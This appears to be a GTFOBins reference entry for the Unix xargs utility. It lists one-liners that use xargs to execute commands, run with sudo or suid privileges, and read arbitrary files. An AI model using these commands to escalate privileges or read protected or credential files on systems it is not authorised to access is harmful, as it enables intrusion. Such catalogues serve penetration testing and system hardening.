GTFOBins.github.io/_gtfobins/xargs.md
2018-06-03 12:30:34 +02:00

479 B

functions
execute-non-interactive sudo-enabled suid-enabled file-read
code
xargs -a /dev/null /usr/bin/id
code
sudo xargs -a /dev/null /usr/bin/id
code
./xargs -a /dev/null /usr/bin/id
description code
This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only. LFILE=file_to_read xargs -a "$LFILE" -0